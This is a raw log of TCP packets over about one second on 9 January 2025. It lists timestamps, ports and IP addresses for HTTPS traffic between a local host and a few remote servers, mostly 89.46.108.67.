Jan 9, 2025 13:19:26.492022991 CET	443	49827	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.492083073 CET	49827	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.492248058 CET	49827	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.492259026 CET	443	49827	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.564543962 CET	443	49817	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.564569950 CET	443	49817	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.564579964 CET	443	49817	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.564610958 CET	443	49817	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.564721107 CET	443	49817	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.564788103 CET	49817	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.564788103 CET	49817	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.565512896 CET	49817	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.565522909 CET	443	49817	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.567754030 CET	49828	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.567784071 CET	443	49828	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.567883015 CET	49828	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.568129063 CET	49828	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.568141937 CET	443	49828	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.568926096 CET	49829	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.568968058 CET	443	49829	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.569032907 CET	49829	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.569319963 CET	49829	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.569336891 CET	443	49829	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.586944103 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.586961985 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.586973906 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.586990118 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.587013006 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.587047100 CET	49814	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.587055922 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.587085962 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.587086916 CET	49814	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.587115049 CET	49814	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.587137938 CET	49814	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.587816000 CET	49814	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.587824106 CET	443	49814	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.648830891 CET	443	49818	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.648894072 CET	443	49818	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.649112940 CET	49818	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.649142027 CET	443	49818	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.649199963 CET	49818	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.649424076 CET	443	49818	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.649568081 CET	443	49818	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.649627924 CET	49818	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.649943113 CET	49818	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.649972916 CET	443	49818	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.653080940 CET	49830	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.653122902 CET	443	49830	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.653223038 CET	49830	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.653523922 CET	49830	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.653536081 CET	443	49830	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.665365934 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.665400028 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.665410042 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.665426970 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.665450096 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.665501118 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.665510893 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.665565968 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.665565968 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.667135954 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.667166948 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.667213917 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.667221069 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.667244911 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.721472979 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.748177052 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.748198986 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.748209000 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.748327017 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.748358011 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.748425961 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.748425961 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.748457909 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.748492002 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.748512030 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.749331951 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.749377012 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.749398947 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.749406099 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.749427080 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.749450922 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.750047922 CET	49816	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.750063896 CET	443	49816	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.754528046 CET	49831	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.754560947 CET	443	49831	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.754637003 CET	49831	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.754923105 CET	49832	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.754956007 CET	443	49832	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.755011082 CET	49832	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.755192995 CET	49831	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.755208015 CET	443	49831	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.755336046 CET	49832	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.755347013 CET	443	49832	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.776603937 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:26.776974916 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:26.776999950 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:26.777297974 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.777316093 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.777343035 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.777367115 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.777488947 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.777488947 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.777503967 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.777646065 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.777977943 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.778007984 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.778045893 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:26.778098106 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.778098106 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.778105974 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.778152943 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:26.778158903 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.778512955 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:26.778573036 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:26.778887033 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:26.778897047 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:26.779738903 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.779762030 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.779834986 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.779834986 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.779843092 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.779995918 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.797288895 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.797312975 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.797414064 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.797420979 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.797476053 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.802674055 CET	443	49820	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.802992105 CET	49820	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.803000927 CET	443	49820	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.803361893 CET	443	49820	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.803767920 CET	49820	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.803838015 CET	443	49820	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.803944111 CET	49820	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.805551052 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.805862904 CET	49823	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.805883884 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.806241035 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.806605101 CET	49823	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.806665897 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.806732893 CET	49823	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.810374975 CET	443	49822	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.810600042 CET	49822	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.810606956 CET	443	49822	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.810883045 CET	443	49822	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.811167002 CET	49822	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.811218023 CET	443	49822	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.811306000 CET	49822	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.833477974 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:26.849123955 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:26.849440098 CET	49673	443	192.168.2.16	204.79.197.203
Jan 9, 2025 13:19:26.849724054 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:26.849745989 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:26.851329088 CET	443	49823	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.851341009 CET	443	49822	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.851345062 CET	443	49820	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.851433992 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:26.851514101 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:26.853667021 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:26.853768110 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:26.853907108 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:26.853914976 CET	443	49825	87.250.251.119	192.168.2.16
Jan 9, 2025 13:19:26.881491899 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.881830931 CET	49821	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.881841898 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.882172108 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.882627010 CET	49821	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.882679939 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.882817984 CET	49821	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.888721943 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.888755083 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.888878107 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.888886929 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.889027119 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.889705896 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.889735937 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.889782906 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.889789104 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.889833927 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.889833927 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.890414000 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.890435934 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.890697002 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.890706062 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.890821934 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.891693115 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.891714096 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.891813040 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.891813040 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.891819000 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.891900063 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.892791986 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.892811060 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.892887115 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.892893076 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.892908096 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.892966032 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.893681049 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.893709898 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.893789053 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.893796921 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.893937111 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.897435904 CET	49825	443	192.168.2.16	87.250.251.119
Jan 9, 2025 13:19:26.909250975 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.909275055 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.909399986 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.909408092 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.909460068 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.923350096 CET	443	49821	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.979553938 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.979588032 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.979691982 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:26.979700089 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:26.979757071 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.000761032 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.000801086 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.000859022 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.000865936 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.000914097 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.001405954 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.001427889 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.001487970 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.001493931 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.001533985 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.001988888 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.002010107 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.002058029 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.002063990 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.002089024 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.002111912 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.002404928 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.002428055 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.002471924 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.002477884 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.002506018 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.002526999 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.005754948 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.005774975 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.005876064 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.005882978 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.005929947 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.006314993 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.006336927 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.006382942 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.006390095 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.006417990 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.006438971 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.006828070 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.006851912 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.006901979 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.006908894 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.006937027 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.006957054 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.051182032 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.051240921 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.051290989 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.051346064 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.051474094 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:27.051474094 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:27.051510096 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.051645041 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.051692009 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:27.051698923 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.057147980 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.057276964 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:27.057285070 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.063477039 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.063560963 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:27.063566923 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.069885969 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.070005894 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:27.070019960 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.070033073 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.070041895 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.070182085 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.070188046 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.071333885 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.091226101 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.091248035 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.091402054 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.091413021 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.091484070 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.091677904 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.091696024 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.091742039 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.091749907 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.091759920 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.091792107 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.092045069 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.092061043 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.092097998 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.092106104 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.092123985 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.092144012 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.092453003 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.092474937 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.092545986 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.092551947 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.092591047 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.092818975 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.092839956 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.092888117 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.092895031 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.092928886 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.092948914 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.093296051 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.093312025 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.093379021 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.093384981 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.093421936 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.093652964 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.093672037 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.093717098 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.093724012 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.093770027 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.094342947 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.121514082 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:27.153227091 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.153386116 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.153455973 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:27.156229019 CET	49824	443	192.168.2.16	142.250.185.68
Jan 9, 2025 13:19:27.156244040 CET	443	49824	142.250.185.68	192.168.2.16
Jan 9, 2025 13:19:27.160837889 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.160871029 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.160949945 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.160959005 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.161005020 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.161067963 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.161092043 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.161144972 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.161153078 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.161194086 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.182073116 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.182105064 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.182193995 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.182200909 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.182274103 CET	49819	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:27.182475090 CET	443	49819	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:27.182497978 CET	443	49819	89.46.108.67	192.168.2.16
